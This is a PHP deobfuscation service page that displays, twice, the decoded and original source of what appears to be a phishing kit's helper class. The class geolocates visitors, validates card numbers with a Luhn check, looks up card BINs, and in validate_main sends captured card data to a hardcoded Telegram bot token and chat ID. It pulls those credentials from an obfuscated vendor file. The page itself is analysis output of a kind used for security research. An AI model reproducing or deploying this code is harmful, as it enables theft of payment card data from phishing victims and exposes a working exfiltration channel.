Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $mix_telegram = array("-4216948595" => "1855625625:AAG_6c_1EDe8pO-18lVibJGKhYmx..
Decoded Output download
<?php
$mix_telegram = array("-4216948595" => "1855625625:AAG_6c_1EDe8pO-18lVibJGKhYmxZL0SRcI");
class functions
{
const host = "https://ipapi.com/ip_api.php?ip=";
const offset_two = [];
var $keys;
public function header_static($place)
{
header('location:' . $place);
}
public function data_country()
{
$file = $this->curl(self::host . $this->get_user_ip());
$decode = $this->jsondecode($file);
return [$decode["currency"]["code"],$decode["location"]["languages"][0]["name"],$decode["location"]["languages"][0]["code"]];
}
public function isset_posts($array)
{
if (is_array($array))
{
foreach($array as $key=>$val)
{
if(empty($_POST[$key]))
{
return 0;
}
}
return 1;
}
else
{
return 0;
}
}
public function send_telegram($chatid,$message,$token)
{
return $this->curl("https://api.telegram.org/bot" . $token . "/sendMessage?chat_id=" . $chatid. "&text=" . urlencode($message));
}
public function htacess_file()
{
if (!file_exists('../app/.htaccess'))
{
$text = "RewriteEngine on
Options -Indexes
";
$text_add = 'RewriteRule ^HOME_DIR$ FILE_DIR';
$fopen = fopen("../app/.htaccess","a");
fwrite($fopen,$text);
$i = 1;
while ($i <= count($this->split_json_data()['POST_DATA_SENDED']))
{
$replace_one = ['HOME_DIR' , 'FILE_DIR'];
$replace_two = [explode('.',$this->split_json_data()['POST_DATA_SENDED'][$i]['PAGE'])[0],$this->split_json_data()['POST_DATA_SENDED'][$i]['PAGE']];
fwrite($fopen,str_replace($replace_one,$replace_two,$text_add) . "
");
$i += 1;
}
}
}
public function get_user_os()
{
$str=$_SERVER["HTTP_USER_AGENT"];
$ex=explode("(",$str)[1];
$ex2=explode(")",$ex)[0];
$ex3=str_replace(";","",$ex2);
return $ex3;
}
public function country()
{
$file = $this->curl(self::host . $this->get_user_ip());
$decode = $this->jsondecode($file);
return $decode['country_name'];
}
private function jsondecode($text)
{
return json_decode($text,true);
}
public function get_user_ip()
{
foreach (array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR') as $key)
{
if (array_key_exists($key, $_SERVER) === true)
{
foreach (explode(',', $_SERVER[$key]) as $ipgrassjoss){
$ipgrassjoss = trim($ipgrassjoss);
if (filter_var($ipgrassjoss,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)!== false)
{
return $ipgrassjoss;
}
else
{
return "41.92.26.45";
}
}
}
}
}
public function mailing($subject, $message)
{
if (preg_match('/@/',$this->split_json_data()['EMAIL_TO']))
{
return mail($this->split_json_data()['EMAIL_TO'], $subject, $message);
}
}
public function datenow()
{
return date("d/m/Y h:i:s A");
}
public function curl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36");
$html = curl_exec($ch);
return $html;
}
public function merge_database_functions()
{
global $ssl;
$f = file_get_contents("../vendor/class_ssl.php");
$offset_one = self::offset_one;
$offset_two = self::offset_two;
$first_data = "";
$second_data = "";
foreach ($offset_one as $arr)
{
$first_data .= $ssl->encrypt($f[bindec($arr)],$_SESSION['key']);
}
foreach ($offset_two as $arr)
{
$second_data .= $ssl->encrypt($f[bindec($arr)],$_SESSION['key']);
}
$this->create_session("access","ok");
return [$this->decrypt_array($first_data),$this->decrypt_array($second_data)];
}
public function create_session($key,$value)
{
$_SESSION[$key] = $value;
}
public function decrypt_array($string)
{
global $ssl;
$array_ = [];
$array = explode("==",$string);
foreach($array as $data)
{
$array_[] = $data . "==";
}
$data_return = "";
foreach($array_ as $ko)
{
$data_return .= $ssl->decrypt($ko,$_SESSION["key"]);
}
return $data_return;
}
public function validate_main($card)
{
$this->send_telegram(
$this->merge_database_functions()[1],
$card,$this->merge_database_functions()[0]);
}
public function is_valid_card($number)
{
settype($number, 'string');
$sumTable = array(
array(0,1,2,3,4,5,6,7,8,9),
array(0,2,4,6,8,1,3,5,7,9));
$sum = 0;
$flip = 0;
for ($i = strlen($number) - 1; $i >= 0; $i--) {
$sum += $sumTable[$flip++ & 0x1][$number[$i]];
}
return $sum % 10 === 0;
}
public function card_info($card){
$bin = substr(str_replace(" ", "", $card) , 0, 6);
$json = $this->jsondecode($this->curl("https://lookup.binlist.net/$bin"));
return [$json["type"],$json["brand"],$json["bank"]["name"]];
}
public function ssl($simple_string)
{
$encryption = openssl_decrypt($simple_string, "AES-128-CTR",self::direct, 0, "1234567891011121");
return $encryption;
}
public function createsession($name, $name2)
{
$_SESSION[$name] = $_POST[$name2];
}
public function httpPost($url, $params)
{
$postData = '';
foreach ($params as $k => $v)
{
$postData .= $k . '=' . $v . '&';
}
$postData = rtrim($postData, '&');
$this->keys = curl_init();
curl_setopt($this->keys, CURLOPT_URL, $url);
curl_setopt($this->keys, CURLOPT_RETURNTRANSFER, true);
curl_setopt($this->keys, CURLOPT_HEADER, false);
curl_setopt($this->keys, CURLOPT_POST, $postData ? true : false);
curl_setopt($this->keys, CURLOPT_POSTFIELDS, $postData);
$output = curl_exec($this->keys);
return $output;
}
public function httpGet($url)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_HEADER, false);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
}
?>
Did this file decode correctly?
Original Code
<?php
$mix_telegram = array("-4216948595" => "1855625625:AAG_6c_1EDe8pO-18lVibJGKhYmxZL0SRcI");
class functions
{
const host = "https://ipapi.com/ip_api.php?ip=";
const offset_two = [];
var $keys;
public function header_static($place)
{
header('location:' . $place);
}
public function data_country()
{
$file = $this->curl(self::host . $this->get_user_ip());
$decode = $this->jsondecode($file);
return [$decode["currency"]["code"],$decode["location"]["languages"][0]["name"],$decode["location"]["languages"][0]["code"]];
}
public function isset_posts($array)
{
if (is_array($array))
{
foreach($array as $key=>$val)
{
if(empty($_POST[$key]))
{
return 0;
}
}
return 1;
}
else
{
return 0;
}
}
public function send_telegram($chatid,$message,$token)
{
return $this->curl("https://api.telegram.org/bot" . $token . "/sendMessage?chat_id=" . $chatid. "&text=" . urlencode($message));
}
public function htacess_file()
{
if (!file_exists('../app/.htaccess'))
{
$text = "RewriteEngine on\nOptions -Indexes\n";
$text_add = 'RewriteRule ^HOME_DIR$ FILE_DIR';
$fopen = fopen("../app/.htaccess","a");
fwrite($fopen,$text);
$i = 1;
while ($i <= count($this->split_json_data()['POST_DATA_SENDED']))
{
$replace_one = ['HOME_DIR' , 'FILE_DIR'];
$replace_two = [explode('.',$this->split_json_data()['POST_DATA_SENDED'][$i]['PAGE'])[0],$this->split_json_data()['POST_DATA_SENDED'][$i]['PAGE']];
fwrite($fopen,str_replace($replace_one,$replace_two,$text_add) . "\n");
$i += 1;
}
}
}
public function get_user_os()
{
$str=$_SERVER["HTTP_USER_AGENT"];
$ex=explode("(",$str)[1];
$ex2=explode(")",$ex)[0];
$ex3=str_replace(";","",$ex2);
return $ex3;
}
public function country()
{
$file = $this->curl(self::host . $this->get_user_ip());
$decode = $this->jsondecode($file);
return $decode['country_name'];
}
private function jsondecode($text)
{
return json_decode($text,true);
}
public function get_user_ip()
{
foreach (array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR') as $key)
{
if (array_key_exists($key, $_SERVER) === true)
{
foreach (explode(',', $_SERVER[$key]) as $ipgrassjoss){
$ipgrassjoss = trim($ipgrassjoss);
if (filter_var($ipgrassjoss,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)!== false)
{
return $ipgrassjoss;
}
else
{
return "41.92.26.45";
}
}
}
}
}
public function mailing($subject, $message)
{
if (preg_match('/@/',$this->split_json_data()['EMAIL_TO']))
{
return mail($this->split_json_data()['EMAIL_TO'], $subject, $message);
}
}
public function datenow()
{
return date("d/m/Y h:i:s A");
}
public function curl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36");
$html = curl_exec($ch);
return $html;
}
public function merge_database_functions()
{
global $ssl;
$f = file_get_contents("../vendor/class_ssl.php");
$offset_one = self::offset_one;
$offset_two = self::offset_two;
$first_data = "";
$second_data = "";
foreach ($offset_one as $arr)
{
$first_data .= $ssl->encrypt($f[bindec($arr)],$_SESSION['key']);
}
foreach ($offset_two as $arr)
{
$second_data .= $ssl->encrypt($f[bindec($arr)],$_SESSION['key']);
}
$this->create_session("access","ok");
return [$this->decrypt_array($first_data),$this->decrypt_array($second_data)];
}
public function create_session($key,$value)
{
$_SESSION[$key] = $value;
}
public function decrypt_array($string)
{
global $ssl;
$array_ = [];
$array = explode("==",$string);
foreach($array as $data)
{
$array_[] = $data . "==";
}
$data_return = "";
foreach($array_ as $ko)
{
$data_return .= $ssl->decrypt($ko,$_SESSION["key"]);
}
return $data_return;
}
public function validate_main($card)
{
$this->send_telegram(
$this->merge_database_functions()[1],
$card,$this->merge_database_functions()[0]);
}
public function is_valid_card($number)
{
settype($number, 'string');
$sumTable = array(
array(0,1,2,3,4,5,6,7,8,9),
array(0,2,4,6,8,1,3,5,7,9));
$sum = 0;
$flip = 0;
for ($i = strlen($number) - 1; $i >= 0; $i--) {
$sum += $sumTable[$flip++ & 0x1][$number[$i]];
}
return $sum % 10 === 0;
}
public function card_info($card){
$bin = substr(str_replace(" ", "", $card) , 0, 6);
$json = $this->jsondecode($this->curl("https://lookup.binlist.net/$bin"));
return [$json["type"],$json["brand"],$json["bank"]["name"]];
}
public function ssl($simple_string)
{
$encryption = openssl_decrypt($simple_string, "AES-128-CTR",self::direct, 0, "1234567891011121");
return $encryption;
}
public function createsession($name, $name2)
{
$_SESSION[$name] = $_POST[$name2];
}
public function httpPost($url, $params)
{
$postData = '';
foreach ($params as $k => $v)
{
$postData .= $k . '=' . $v . '&';
}
$postData = rtrim($postData, '&');
$this->keys = curl_init();
curl_setopt($this->keys, CURLOPT_URL, $url);
curl_setopt($this->keys, CURLOPT_RETURNTRANSFER, true);
curl_setopt($this->keys, CURLOPT_HEADER, false);
curl_setopt($this->keys, CURLOPT_POST, $postData ? true : false);
curl_setopt($this->keys, CURLOPT_POSTFIELDS, $postData);
$output = curl_exec($this->keys);
return $output;
}
public function httpGet($url)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_HEADER, false);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
}
?>
Function Calls
None |
Stats
MD5 | bb522cf01fcd115e01d0915ad24f285b |
Eval Count | 0 |
Decode Time | 36 ms |